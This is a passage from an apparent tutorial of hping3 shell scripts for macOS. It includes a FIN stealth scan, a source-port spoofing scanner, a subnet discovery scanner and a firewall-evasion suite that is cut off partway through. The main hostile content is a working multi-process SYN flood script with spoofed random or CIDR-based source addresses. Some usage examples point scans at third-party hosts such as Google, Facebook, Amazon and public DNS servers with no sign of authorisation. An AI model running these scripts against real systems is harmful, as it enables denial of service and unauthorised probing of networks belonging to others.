        PORT_STATES[$port]="OPEN/FILTERED"
    fi
done

# End time
END_TIME=$(date +%s)
DURATION=$((END_TIME - START_TIME))

# Generate summary report
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}         SCAN SUMMARY${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Count results
OPEN_COUNT=$(echo "$OPEN_PORTS" | wc -w | tr -d ' ')
CLOSED_COUNT=$(echo "$CLOSED_PORTS" | wc -w | tr -d ' ')
FILTERED_COUNT=$(echo "$FILTERED_PORTS" | wc -w | tr -d ' ')

echo -e "${BLUE}Scan Results:${NC}"
echo -e "  Total Ports Scanned: $TOTAL_PORTS"
echo -e "  Likely Open/Filtered: $OPEN_COUNT"
echo -e "  Confirmed Closed: $CLOSED_COUNT"
echo -e "  Confirmed Filtered: $FILTERED_COUNT"
echo -e "  Scan Duration: ${DURATION} seconds"

if [ "$OPEN_COUNT" -gt 0 ]; then
    echo ""
    echo -e "${GREEN}Potentially Open Ports:${NC}"
    for port in $OPEN_PORTS; do
        service=$(get_service_name "$port")
        echo -e "  ${GREEN}▸${NC} Port $port/tcp - $service"
    done
fi

# Save report to file
REPORT_FILE="fin_scan_${TARGET}_$(date +%Y%m%d_%H%M%S).txt"
{
    echo "TCP FIN Scan Report"
    echo "==================="
    echo "Target: $TARGET ($TARGET_IP)"
    echo "Port Range: $START_PORT-$END_PORT"
    echo "Scan Date: $(date)"
    echo "Duration: ${DURATION} seconds"
    echo "Technique: TCP FIN (Stealth Scan)"
    echo ""
    echo "Results:"
    echo "--------"
    echo "Likely Open/Filtered: $OPEN_COUNT"
    echo "Confirmed Closed: $CLOSED_COUNT"
    echo "Confirmed Filtered: $FILTERED_COUNT"
    
    if [ "$OPEN_COUNT" -gt 0 ]; then
        echo ""
        echo "Potentially Open Ports:"
        for port in $OPEN_PORTS; do
            service=$(get_service_name "$port")
            echo "  Port $port/tcp - $service"
        done
    fi
} > "$REPORT_FILE"

echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${BLUE}[*] Report saved to: $REPORT_FILE${NC}"
echo ""
echo -e "${YELLOW}Important Notes:${NC}"
echo -e "${CYAN}• FIN scanning is a stealth technique${NC}"
echo -e "${CYAN}• No response often indicates an OPEN port${NC}"
echo -e "${CYAN}• RST response indicates a CLOSED port${NC}"
echo -e "${CYAN}• Results may vary based on firewall rules${NC}"
echo -e "${CYAN}• Some systems may not follow RFC standards${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

exit 0
EOF

chmod +x ~/hping3-scripts/fin_scan.sh

How to Run:

# Scan default port 80
./fin_scan.sh example.com

# Scan specific port
./fin_scan.sh example.com 443

# Scan port range
./fin_scan.sh example.com 80-85

# Custom parameters
./fin_scan.sh 192.168.1.1 22 3 0.5

# Quick single packet scan
./fin_scan.sh server.com 80-443 1 0

# Get help
./fin_scan.sh --help

Response Interpretation:
– **No response**: Port likely open (or filtered)
– **RST response**: Port closed
– **ICMP unreachable**: Port filtered

—

Script 7: Source Port Spoofing

Purpose:
Modifies the source port of outgoing packets to bypass firewall rules that allow traffic from specific “trusted” ports like DNS (53) or FTP-DATA (20).

Create the Script:

cat > ~/hping3-scripts/source_port_scan.sh << 'EOF'
#!/bin/zsh

# Source Port Spoofing Scanner using hping3
# Attempts to bypass firewalls that trust certain source ports
# Requires: hping3 (install with: brew install hping3)

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
MAGENTA='\033[0;35m'
NC='\033[0m' # No Color

# Parse arguments early
TARGET="$1"
DEST_PORT="${2:-80}"
SOURCE_PORT="${3:-53}"
COUNT="${4:-1}"

# Function to print usage
print_usage() {
    local script_name="./source_port_scan.sh"
    echo "Usage: $script_name <target> [dest_port] [source_port] [count]"
    echo ""
    echo "Parameters:"
    echo "  target       - Hostname or IP address to scan"
    echo "  dest_port    - Destination port to scan (default: 80)"
    echo "  source_port  - Source port to spoof (default: 53)"
    echo "  count        - Number of packets to send (default: 1)"
    echo ""
    echo "Common trusted source ports:"
    echo "  53 (DNS), 20 (FTP-DATA), 123 (NTP), 67/68 (DHCP)"
    echo ""
    echo "Examples:"
    echo "  $script_name example.com                  # Scan port 80 from source port 53"
    echo "  $script_name example.com 443               # Scan port 443 from source port 53"
    echo "  $script_name example.com 80 20             # Scan port 80 from source port 20"
    echo "  $script_name example.com 80 53 3           # Send 3 packets"
}

# Check for help flag
if [[ "$TARGET" == "-h" ]] || [[ "$TARGET" == "--help" ]]; then
    print_usage
    exit 0
fi

# Check if target is provided
if [ -z "$TARGET" ]; then
    echo -e "${RED}Error: No target specified${NC}"
    echo ""
    print_usage
    exit 1
fi

# Check if hping3 is installed
if ! command -v hping3 &> /dev/null; then
    echo -e "${RED}Error: hping3 is not installed${NC}"
    echo "Install it with: brew install hping3"
    echo ""
    echo "Note: hping3 requires Homebrew. If you don't have Homebrew installed:"
    echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""
    exit 1
fi

# Check if running with sufficient privileges
if [[ $EUID -ne 0 ]]; then
    echo -e "${YELLOW}Note: Source port scan requires root privileges${NC}"
    echo "Re-running with sudo..."
    echo ""
    exec sudo "$0" "$@"
fi

# Map common source ports to names
declare -A source_services
source_services[53]="DNS"
source_services[20]="FTP-DATA"
source_services[123]="NTP"
source_services[67]="DHCP"
source_services[68]="DHCP"
source_services[88]="Kerberos"
source_services[500]="IKE/IPSec"

SERVICE_NAME=${source_services[$SOURCE_PORT]:-"Custom"}

# Display header
echo -e "${MAGENTA}╔════════════════════════════════════════╗${NC}"
echo -e "${MAGENTA}║    SOURCE PORT SPOOFING SCANNER       ║${NC}"
echo -e "${MAGENTA}╚════════════════════════════════════════╝${NC}"
echo ""
echo -e "${CYAN}Configuration:${NC}"
echo -e "  ${BLUE}Target:${NC}         $TARGET:$DEST_PORT"
echo -e "  ${BLUE}Source Port:${NC}    $SOURCE_PORT ($SERVICE_NAME)"
echo -e "  ${BLUE}Packet Count:${NC}   $COUNT"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""
echo -e "${YELLOW}[*] Attempting to bypass firewall rules that trust source port $SOURCE_PORT${NC}"
echo -e "${CYAN}[i] Some firewalls allow traffic from 'trusted' source ports${NC}"
echo ""

# Resolve target
echo -e "${YELLOW}[*] Resolving target...${NC}"
TARGET_IP=$(ping -c 1 "$TARGET" 2>/dev/null | grep -oE "\([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\)" | tr -d '()')
if [ -z "$TARGET_IP" ]; then
    TARGET_IP="$TARGET"
    echo -e "${YELLOW}[*] Could not resolve hostname, using as-is${NC}"
else
    echo -e "${GREEN}[✓] Target resolved to: $TARGET_IP${NC}"
fi

echo ""
echo -e "${GREEN}[+] Starting source port spoofing scan...${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

OPEN_COUNT=0
CLOSED_COUNT=0
FILTERED_COUNT=0

for i in $(seq 1 $COUNT); do
    echo -e "${CYAN}[→] Sending SYN packet $i/$COUNT from port $SOURCE_PORT...${NC}"
    result=$(hping3 -S -p $DEST_PORT -s $SOURCE_PORT -c 1 $TARGET_IP 2>&1)
    
    if echo "$result" | grep -q "flags=SA\|flags=S\.A"; then
        echo -e "${GREEN}[✓] Port $DEST_PORT appears OPEN (SYN+ACK received)${NC}"
        echo -e "${GREEN}    → Source port spoofing may have bypassed filtering!${NC}"
        ((OPEN_COUNT++))
    elif echo "$result" | grep -q "flags=RA\|flags=R"; then
        echo -e "${RED}[✗] Port $DEST_PORT appears CLOSED (RST received)${NC}"
        ((CLOSED_COUNT++))
    elif echo "$result" | grep -q "ICMP"; then
        icmp_type=$(echo "$result" | grep -oE "ICMP [^,]+" | head -1)
        echo -e "${YELLOW}[!] ICMP response received: $icmp_type${NC}"
        echo -e "${YELLOW}    → Port is likely FILTERED by firewall${NC}"
        ((FILTERED_COUNT++))
    elif echo "$result" | grep -q "100% packet loss\|timeout"; then
        echo -e "${YELLOW}[?] No response - Port $DEST_PORT may be FILTERED${NC}"
        ((FILTERED_COUNT++))
    else
        # Check for any response
        if echo "$result" | grep -q "len="; then
            echo -e "${BLUE}[←] Unexpected response received${NC}"
            echo "$result" | grep "len=" | head -1
        else
            echo -e "${YELLOW}[?] No response - Port $DEST_PORT may be FILTERED${NC}"
            ((FILTERED_COUNT++))
        fi
    fi
    
    if [ "$i" -lt "$COUNT" ]; then
        sleep 0.5
    fi
done

echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}         SCAN SUMMARY${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""
echo -e "${BLUE}Target:${NC} $TARGET ($TARGET_IP)"
echo -e "${BLUE}Port Scanned:${NC} $DEST_PORT"
echo -e "${BLUE}Source Port Used:${NC} $SOURCE_PORT ($SERVICE_NAME)"
echo ""

if [ "$OPEN_COUNT" -gt 0 ]; then
    echo -e "${GREEN}▸ Verdict: Port $DEST_PORT is OPEN${NC}"
    echo -e "${GREEN}  ✓ Source port $SOURCE_PORT successfully bypassed filtering!${NC}"
    echo -e "${YELLOW}  ⚠ Warning: Firewall may be misconfigured to trust port $SOURCE_PORT${NC}"
elif [ "$CLOSED_COUNT" -gt 0 ]; then
    echo -e "${RED}▸ Verdict: Port $DEST_PORT is CLOSED${NC}"
    echo -e "${CYAN}  Note: Port responded normally regardless of source port${NC}"
else
    echo -e "${YELLOW}▸ Verdict: Port $DEST_PORT is FILTERED${NC}"
    echo -e "${CYAN}  Note: Source port $SOURCE_PORT did not bypass filtering${NC}"
    echo -e "${CYAN}  The firewall is properly configured against source port spoofing${NC}"
fi

echo ""
echo -e "${BLUE}Results Summary:${NC}"
echo -e "  Open responses: $OPEN_COUNT"
echo -e "  Closed responses: $CLOSED_COUNT"
echo -e "  Filtered/No response: $FILTERED_COUNT"
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

echo ""
echo -e "${YELLOW}Security Notes:${NC}"
echo -e "${CYAN}• Source port spoofing tests firewall trust relationships${NC}"
echo -e "${CYAN}• Some older firewalls trust traffic from DNS (53) or FTP-DATA (20)${NC}"
echo -e "${CYAN}• Modern firewalls should not trust source ports alone${NC}"
echo -e "${CYAN}• This technique is often combined with other evasion methods${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

exit 0
EOF

chmod +x ~/hping3-scripts/source_port_scan.sh

How to Run:

# Basic Examples
./source_port_scan.sh google.com                      # Default: port 80, source port 53 (DNS), 1 packet
./source_port_scan.sh github.com 443                  # Scan HTTPS port with DNS source port
./source_port_scan.sh example.com 80 20               # Use FTP-DATA source port (20)
./source_port_scan.sh cloudflare.com 443 53 5         # Send 5 packets for reliability

# Advanced Examples
./source_port_scan.sh 192.168.1.1 22 123 3           # SSH scan with NTP source port
./source_port_scan.sh internalserver.local 3306 68 2  # MySQL scan with DHCP client port
./source_port_scan.sh api.example.com 8080 1337 3     # Custom source port 1337

# Testing Web Servers
./source_port_scan.sh mywebsite.com 80 53 3          # HTTP with DNS source
./source_port_scan.sh mywebsite.com 443 53 3         # HTTPS with DNS source

# Testing Multiple Trusted Ports on Same Target
./source_port_scan.sh target.com 80 53 2             # DNS source port
./source_port_scan.sh target.com 80 20 2             # FTP-DATA source port
./source_port_scan.sh target.com 80 123 2            # NTP source port
./source_port_scan.sh target.com 80 67 2             # DHCP source port

# Internal Network Testing
./source_port_scan.sh 10.0.1.100 445 53 3            # SMB with DNS source
./source_port_scan.sh 10.0.1.100 3389 53 3           # RDP with DNS source

# Testing Popular Services
./source_port_scan.sh google.com 80 53 2             # Google HTTP
./source_port_scan.sh facebook.com 443 53 2          # Facebook HTTPS
./source_port_scan.sh amazon.com 443 20 2            # Amazon with FTP-DATA source

# Testing DNS Servers
./source_port_scan.sh 8.8.8.8 53 123 2               # Google DNS with NTP source
./source_port_scan.sh 1.1.1.1 53 20 2                # Cloudflare DNS with FTP-DATA source

# Help Command
./source_port_scan.sh --help                         # Show usage information
./source_port_scan.sh -h                             # Alternative help flag

Common Trusted Source Ports:
– **53**: DNS – Often allowed through firewalls
– **20**: FTP-DATA – May be trusted for FTP connections
– **123**: NTP – Network Time Protocol, often allowed
– **67/68**: DHCP – Dynamic Host Configuration Protocol

Script 8: SYN Flood Attack (Multi-Process)

Purpose:
Performs multi-process SYN flood attacks for authorized DoS testing. This script includes extensive safety measures and authorization checks.

Create the Script:

cat > ~/hping3-scripts/syn_flood_attack.sh << 'EOF'
#!/bin/zsh

# Function to generate a random IP from a CIDR block
generate_random_ip_from_cidr() {
    local cidr=$1
    local ip_base=${cidr%/*}
    local cidr_bits=${cidr#*/}
    
    # Convert IP to integer
    local ip_parts=(${(s:.:)ip_base})
    local ip_int=$(( (ip_parts[1] << 24) + (ip_parts[2] << 16) + (ip_parts[3] << 8) + ip_parts[4] ))
    
    # Calculate host bits and range
    local host_bits=$((32 - cidr_bits))
    local max_hosts=$((2 ** host_bits - 1))
    
    # Generate random offset within the range
    local random_offset=$((RANDOM % (max_hosts + 1)))
    
    # Add offset to base IP
    local new_ip_int=$((ip_int + random_offset))
    
    # Convert back to IP format
    local octet1=$(( (new_ip_int >> 24) & 255 ))
    local octet2=$(( (new_ip_int >> 16) & 255 ))
    local octet3=$(( (new_ip_int >> 8) & 255 ))
    local octet4=$(( new_ip_int & 255 ))
    
    echo "${octet1}.${octet2}.${octet3}.${octet4}"
}

syn_flood_attack() {
    local target=$1
    local port=$2
    local packet_count=$3
    local processes=$4
    local source_cidr=$5  # Optional CIDR block for source IP randomization
    
    if [ -z "$target" ] || [ -z "$port" ] || [ -z "$packet_count" ] || [ -z "$processes" ]; then
        echo "Usage: syn_flood_attack <target> <port> <packet_count> <processes> [source_cidr]"
        echo "Example: syn_flood_attack example.com 80 1000 4"
        echo "Example with CIDR: syn_flood_attack example.com 80 1000 4 192.168.1.0/24"
        echo ""
        echo "WARNING: This is a DoS attack tool!"
        echo "Only use on systems you own or have explicit permission to test!"
        return 1
    fi
    
    echo "=========================================="
    echo "           SYN FLOOD ATTACK"
    echo "=========================================="
    echo "Target: $target:$port"
    echo "Total packets: $packet_count"
    echo "Processes: $processes"
    echo "Packets per process: $((packet_count / processes))"
    if [ -n "$source_cidr" ]; then
        echo "Source CIDR: $source_cidr"
    else
        echo "Source IPs: Random (--rand-source)"
    fi
    echo ""
    echo "⚠️  WARNING: This will perform a SYN flood attack!"
    echo "⚠️  Only use on systems you own or have explicit permission to test!"
    echo "⚠️  Unauthorized DoS attacks are illegal!"
    echo ""
    echo -n "Do you have authorization to test this target? (type 'YES' to continue): "
    read confirm
    
    if [[ "$confirm" != "YES" ]]; then
        echo "❌ Attack aborted - explicit authorization required"
        return 1
    fi
    
    local packets_per_process=$((packet_count / processes))
    local remaining_packets=$((packet_count % processes))
    
    echo "✅ Starting SYN flood with $processes processes..."
    echo "📊 Monitor system resources during attack"
    
    # Create log directory
    local log_dir="/tmp/syn_flood_$(date +%Y%m%d_%H%M%S)"
    mkdir -p "$log_dir"
    
    # Start background processes
    local pids=()
    for ((i=1; i<=processes; i++)); do
        local current_packets=$packets_per_process
        # Add remaining packets to the last process
        if [ $i -eq $processes ]; then
            current_packets=$((packets_per_process + remaining_packets))
        fi
        
        echo "🚀 Starting process $i with $current_packets packets"
        (
            echo "Process $i started at $(date)" > "$log_dir/process_$i.log"
            
            if [ -n "$source_cidr" ]; then
                # Use CIDR block for source IP randomization
                echo "Using source CIDR: $source_cidr" >> "$log_dir/process_$i.log"
                
                # Send packets with randomized source IPs from CIDR block
                # We'll send packets in smaller batches to vary the source IP
                local batch_size=10
                local sent=0
                
                while [ $sent -lt $current_packets ]; do
                    local remaining=$((current_packets - sent))
                    local this_batch=$((remaining < batch_size ? remaining : batch_size))
                    local source_ip=$(generate_random_ip_from_cidr "$source_cidr")
                    
                    hping3 -S -p $port -a $source_ip -c $this_batch --flood $target >> "$log_dir/process_$i.log" 2>&1
                    sent=$((sent + this_batch))
                done
            else
                # Use completely random source IPs
                echo "Using random source IPs" >> "$log_dir/process_$i.log"
                hping3 -S -p $port --rand-source -c $current_packets --flood $target >> "$log_dir/process_$i.log" 2>&1
            fi
            
            echo "Process $i completed at $(date)" >> "$log_dir/process_$i.log"
            echo "✅ Process $i completed ($current_packets packets sent)"
        ) &
        
        pids+=($!)
    done
    
    echo "⏳ Waiting for all processes to complete..."
    echo "💡 You can monitor progress with: tail -f $log_dir/process_*.log"
    
    # Wait for all processes and show progress
    local completed=0
    while [ $completed -lt $processes ]; do
        completed=0
        for pid in "${pids[@]}"; do
            if ! kill -0 $pid 2>/dev/null; then
                ((completed++))
            fi
        done
        
        echo "📈 Progress: $completed/$processes processes completed"
        sleep 2
    done
    
    echo "🎯 SYN flood attack completed!"
    echo "📋 Logs saved in: $log_dir"
    echo "🧹 Clean up logs with: rm -rf $log_dir"
}

# Check if script is being sourced or executed directly
if [[ "${(%):-%x}" == "${0}" ]]; then
    syn_flood_attack "$@"
fi
EOF

chmod +x ~/hping3-scripts/syn_flood_attack.sh

How to Run:

# Basic Usage Syntax:
./syn_flood_attack.sh <target> <port> <packet_count> <processes>

# 1. Test against a local test server (SAFE)
# Send 1000 SYN packets to localhost port 8080 using 4 parallel processes
./syn_flood_attack.sh localhost 8080 1000 4

# 2. Test your own web server
# Send 5000 packets to your own server on port 80 using 10 processes
./syn_flood_attack.sh your-test-server.com 80 5000 10

# 3. Small-scale test
# Send only 100 packets using 2 processes for minimal testing
./syn_flood_attack.sh 127.0.0.1 3000 100 2

# 4. Stress test with more packets
# Send 10000 packets to port 443 using 20 parallel processes
./syn_flood_attack.sh test.example.local 443 10000 20

# 5. Create a random decoy attack using ip addresses from a specified CIDR block
./syn_flood_attack.sh target.com 80 1000 4 192.168.0.0/16
./syn_flood_attack.sh target.com 80 1000 4 10.0.0.0/8

# Parameters:
# <target>: IP address or hostname (localhost, 192.168.1.100, test-server.local)
# <port>: Target port number (80 for HTTP, 443 for HTTPS, 22 for SSH)
# <packet_count>: Total number of SYN packets to send (1000, 5000, etc.)
# <processes>: Number of parallel hping3 processes to use (4, 10, etc.)

Example Output:

 ./syn_flood_attack.sh localhost 8080 1000 4

==========================================
           SYN FLOOD ATTACK
==========================================
Target: localhost:8080
Total packets: 1000
Processes: 4
Packets per process: 250

⚠️  WARNING: This will perform a SYN flood attack!
⚠️  Only use on systems you own or have explicit permission to test!
⚠️  Unauthorized DoS attacks are illegal!

Do you have authorization to test this target? (type 'YES' to continue): YES
✅ Starting SYN flood with 4 processes...
📊 Monitor system resources during attack
🚀 Starting process 1 with 250 packets
🚀 Starting process 2 with 250 packets
🚀 Starting process 3 with 250 packets
🚀 Starting process 4 with 250 packets
⏳ Waiting for all processes to complete...
💡 You can monitor progress with: tail -f /tmp/syn_flood_20250923_114710/process_*.log

Safety Features:
– Explicit authorization confirmation required
– Process monitoring and logging
– Progress tracking with visual indicators
– Automatic log cleanup instructions

Parameters Explained:
**target**: Target hostname/IP address
**port**: Target port number
**packet_count**: Total packets to send
**processes**: Number of parallel processes

Script 9: Comprehensive Network Discovery

Purpose:
Performs comprehensive network discovery combining ICMP and TCP techniques to map active hosts and services across a network range.

Create the Script:

cat > ~/hping3-scripts/network_discovery.sh << 'EOF'
#!/bin/zsh

network_discovery() {
    local network=$1
    local start_ip=${2:-1}
    local end_ip=${3:-254}
    local test_ports=${4:-"22,80,443"}
    
    if [ -z "$network" ]; then
        echo "Usage: network_discovery <network> [start_ip] [end_ip] [test_ports]"
        echo "Example: network_discovery 192.168.1 1 100 '22,80,443,8080'"
        return 1
    fi
    
    echo "🔍 Comprehensive Network Discovery"
    echo "=================================="
    echo "Network: $network.$start_ip-$end_ip"
    echo "Test ports: $test_ports"
    echo ""
    
    # Create results directory
    local results_dir="/tmp/network_discovery_$(date +%Y%m%d_%H%M%S)"
    mkdir -p "$results_dir"
    
    # Phase 1: ICMP Discovery
    echo "📡 Phase 1: ICMP Host Discovery"
    echo "==============================="
    local icmp_results="$results_dir/icmp_results.txt"
    
    for i in $(seq $start_ip $end_ip); do
        (hping3 -1 -c 1 $network.$i 2>&1 | grep -E "(bytes from|icmp.*seq=)" && echo "$network.$i" >> "$icmp_results") &
        
        # Limit concurrent processes on macOS
        if (( i % 20 == 0 )); then
            wait
            echo "  Tested up to $network.$i..."
        fi
    done
    wait
    
    if [ -s "$icmp_results" ]; then
        echo "✅ ICMP-responsive hosts:"
        cat "$icmp_results" | while read host; do
            echo "  - $host [ICMP]"
        done
    else
        echo "❌ No ICMP-responsive hosts found"
    fi
    
    echo ""
    
    # Phase 2: TCP Discovery
    echo "🚪 Phase 2: TCP Port Discovery"
    echo "=============================="
    local tcp_results="$results_dir/tcp_results.txt"
    
    # Zsh-compatible array splitting
    PORT_ARRAY=(${(s:,:)test_ports})
    
    for i in $(seq $start_ip $end_ip); do
        for port in "${PORT_ARRAY[@]}"; do
            (hping3 -S -p $port -c 1 $network.$i 2>&1 | grep "flags=SA" && echo "$network.$i:$port" >> "$tcp_results") &
        done
        
        # Limit concurrent processes
        if (( i % 10 == 0 )); then
            wait
            echo "  Tested up to $network.$i..."
        fi
    done
    wait
    
    if [ -s "$tcp_results" ]; then
        echo "✅ TCP-responsive hosts and ports:"
        cat "$tcp_results" | while read host_port; do
            echo "  - $host_port [TCP]"
        done
    else
        echo "❌ No TCP-responsive hosts found"
    fi
    
    echo ""
    echo "📊 Discovery Summary"
    echo "==================="
    echo "Results saved in: $results_dir"
    echo "ICMP hosts: $([ -s "$icmp_results" ] && wc -l < "$icmp_results" || echo 0)"
    echo "TCP services: $([ -s "$tcp_results" ] && wc -l < "$tcp_results" || echo 0)"
    echo ""
    echo "🧹 Clean up with: rm -rf $results_dir"
}

# Zsh-compatible check for direct execution
if [[ "${(%):-%N}" == "${0}" ]] || [[ "$ZSH_EVAL_CONTEXT" == "toplevel" ]]; then
    network_discovery "$@"
fi
EOF

chmod +x ~/hping3-scripts/network_discovery.sh

How to Run:

# Basic Usage - Scan entire subnet with default ports (22,80,443)
./network_discovery.sh 192.168.1

# Scan specific IP across a port range
./network_discovery.sh 192.168.1 1 50

# Scan specific IP using a custom port list
./network_discovery.sh 192.168.1 1 100 '22,80,443,8080,3306'

# Home Network Scans
./network_discovery.sh 192.168.1 1 20 '80,443'                    # Router and devices
./network_discovery.sh 192.168.0 1 30 '22,80,443,8080'           # Alternative subnet
./network_discovery.sh 10.0.0 1 50 '22,80,443,3389,445'          # Corporate network range

# Service-Specific Discovery
./network_discovery.sh 192.168.1 1 254 '80,443,8080,8443'        # Web servers only
./network_discovery.sh 192.168.1 1 100 '22'                       # SSH servers only
./network_discovery.sh 10.0.0 1 50 '3306,5432,27017,6379'        # Database servers
./network_discovery.sh 192.168.1 1 100 '445,3389,139'            # Windows machines
./network_discovery.sh 192.168.1 1 50 '3000,5000,8000,9000'      # Dev servers

# Quick Targeted Scans
./network_discovery.sh 192.168.1 1 10                             # First 10 IPs, default ports
./network_discovery.sh 192.168.1 100 100 '21,22,23,25,80,110,443,445,3306,3389,5900,8080'  # Single host, many ports
./network_discovery.sh 172.16.0 1 30 '80,443'                    # Fast web discovery

# Your Local Network (based on your IP: 10.223.23.133)
./network_discovery.sh 10.223.23 130 140 '22,80,443'             # Scan near your IP
./network_discovery.sh 10.223.23 1 254 '80,443'                  # Full subnet web scan
./network_discovery.sh 10.223.23 133 133 '1-65535'               # Scan all ports on your IP

# Localhost Testing
./network_discovery.sh 127.0.0 1 1 '22,80,443,3000,8080'         # Test on localhost

# Advanced Usage with sudo (for better ICMP results)
sudo ./network_discovery.sh 192.168.1 1 50
sudo ./network_discovery.sh 10.223.23 130 140 '22,80,443,8080'

# Comprehensive port scan
./network_discovery.sh 192.168.1 1 20 '21,22,23,25,53,80,110,143,443,445,993,995,1433,3306,3389,5432,5900,6379,8080,8443,27017'

# Chain with other commands
./network_discovery.sh 192.168.1 1 10 && echo "Scan complete"
./network_discovery.sh 192.168.1 1 20 '22' | tee scan_results.txt

# View and manage results
ls -la /tmp/network_discovery_*                                   # List all scan results
cat /tmp/network_discovery_*/icmp_results.txt                     # View ICMP results
cat /tmp/network_discovery_*/tcp_results.txt                      # View TCP results
rm -rf /tmp/network_discovery_*                                   # Clean up all results

### LOCAL MACHINE EXAMPLE
# Targeting your local machine and common services. Let me first check what services are running on your machine:
netstat -an | grep LISTEN | grep -E '\.([0-9]+)\s' | awk '{print $4}' | sed 's/.*\.//' | sort -u | head -20
18313
5000
53
55296
61611
65535
7000
9000
9010
9277

### Check your actual IP address to create working examples:
ifconfig | grep "inet " | grep -v 127.0.0.1 | awk '{print $2}' | head -1
10.223.23.133
### Now let's test with your actual IP and the ports that are listening. Note that hping3 often needs sudo privileges for proper ICMP and TCP SYN scanning:
sudo ./network_discovery.sh 10.223.23 133 133 '5000,7000,9000,9010,53'


### EXAMPLES THAT WILL RETURN SUCCESSFUL RESULTS

# 1. Scan Google's servers (known to respond)
sudo ./network_discovery.sh 142.251.216 78 78 '80,443'
sudo ./network_discovery.sh 142.251.216 1 10 '80,443'

# 2. Scan Cloudflare DNS (highly available)
sudo ./network_discovery.sh 1.1.1 1 1 '53,80,443'
sudo ./network_discovery.sh 1.0.0 1 1 '53,80,443'

# 3. Scan popular DNS servers
sudo ./network_discovery.sh 8.8.8 8 8 '53,443'              # Google DNS
sudo ./network_discovery.sh 8.8.4 4 4 '53,443'              # Google DNS secondary
sudo ./network_discovery.sh 208.67.222 222 222 '53,443'     # OpenDNS

# 4. Scan your local gateway (should respond on some ports)
sudo ./network_discovery.sh 10.223.22 1 1 '80,443,22,53,8080'

# 5. Scan your local subnet for common services
sudo ./network_discovery.sh 10.223.23 1 10 '22,80,443,445,3389,5900'
sudo ./network_discovery.sh 10.223.23 130 140 '80,443,22,3389'

# 6. Quick test with well-known servers
sudo ./network_discovery.sh 93.184.216 34 34 '80,443'      # example.com
sudo ./network_discovery.sh 104.17.113 106 106 '80,443'    # Cloudflare IP

# 7. Scan for web servers in your network
sudo ./network_discovery.sh 10.223.23 1 254 '80,443'

# 8. Multiple reliable targets in one scan
sudo ./network_discovery.sh 1.1.1 1 2 '53,80,443'          # Cloudflare DNS range

# 9. Test against localhost services (based on your running ports)
sudo ./network_discovery.sh 127.0.0 1 1 '5000,7000,9000,9010,53'

# 10. Comprehensive scan of known responsive range
sudo ./network_discovery.sh 142.251.216 70 80 '80,443,22'

Parameters Explained:
**network** (required): Network base (e.g., “192.168.1”)
**start_ip** (optional, default: 1): Starting host number
**end_ip** (optional, default: 254): Ending host number
**test_ports** (optional, default: “22,80,443”): Comma-separated port list

Discovery Phases:
1. **ICMP Discovery**: Tests basic connectivity with ping
2. **TCP Discovery**: Tests specific services on each host
3. **Results Analysis**: Provides comprehensive summary

Script 10: Firewall Evasion Test Suite

Purpose:
Performs a comprehensive battery of firewall evasion techniques to test security controls and identify potential bypass methods.

Create the Script:


cat > ~/hping3-scripts/firewall_evasion_test.sh << 'EOF'
#!/bin/zsh

firewall_evasion_test() {
    local target=$1
    local port=${2:-80}
    
    if [ -z "$target" ]; then
        echo "Usage: firewall_evasion_test  [port]"
        echo "Example: firewall_evasion_test example.com 443"
        return 1
    fi
    
    echo "🛡️ Comprehensive Firewall Evasion Test Suite"
    echo "============================================="
    echo "Target: $target:$port"
    echo "Testing multiple evasion techniques..."
    echo ""
    
    # Test 1: Normal SYN scan (baseline)
    echo "🔍 Test 1: Normal SYN Scan (Baseline)"
    echo "====================================="
    result1=$(hping3 -S -p $port -c 1 $target 2>&1)
    echo "$result1"
    if echo "$result1" | grep -q "flags=SA"; then
        echo "✅ BASELINE: Port appears OPEN"
    else
        echo "❌ BASELINE: Port appears CLOSED/FILTERED"
    fi
    echo ""
    
    # Test 2: Source port 53 (DNS)
    echo "🔍 Test 2: DNS Source Port Spoofing (53)"
    echo "========================================"
    result2=$(hping3 -S -p $port -s 53 -c 1 $target 2>&1)
    echo "$result2"
    if echo "$result2" | grep -q "flags=SA"; then
        echo "✅ DNS SPOOF: Bypass successful!"
    else
        echo "❌ DNS SPOOF: No bypass detected"
    fi
    echo ""
    
    # Test 3: Source port 20 (FTP-DATA)
    echo "🔍 Test 3: FTP-DATA Source Port Spoofing (20)"
    echo "=============================================="
    result3=$(hping3 -S -p $port -s 20 -c 1 $target 2>&1)
    echo "$result3"
    if echo "$result3" | grep -q "flags=SA"; then
        echo "✅ FTP SPOOF: Bypass successful!"
    else
        echo "❌ FTP SPOOF: No bypass detected"
    fi
    echo ""
    
    # Test 4: Fragmented packets
    echo "🔍 Test 4: Packet Fragmentation"
    echo "==============================="
    result4=$(hping3 -S -p $port -f -c 1 $target 2>&1)
    echo "$result4"
    if echo "$result4" | grep -q "flags=SA"; then
        echo "✅ FRAGMENTATION: Bypass successful!"
    else
        echo "❌ FRAGMENTATION: No bypass detected"
    fi
    echo ""
    
    # Test 5: FIN scan
    echo "🔍 Test 5: FIN Scan Evasion"
    echo "==========================="
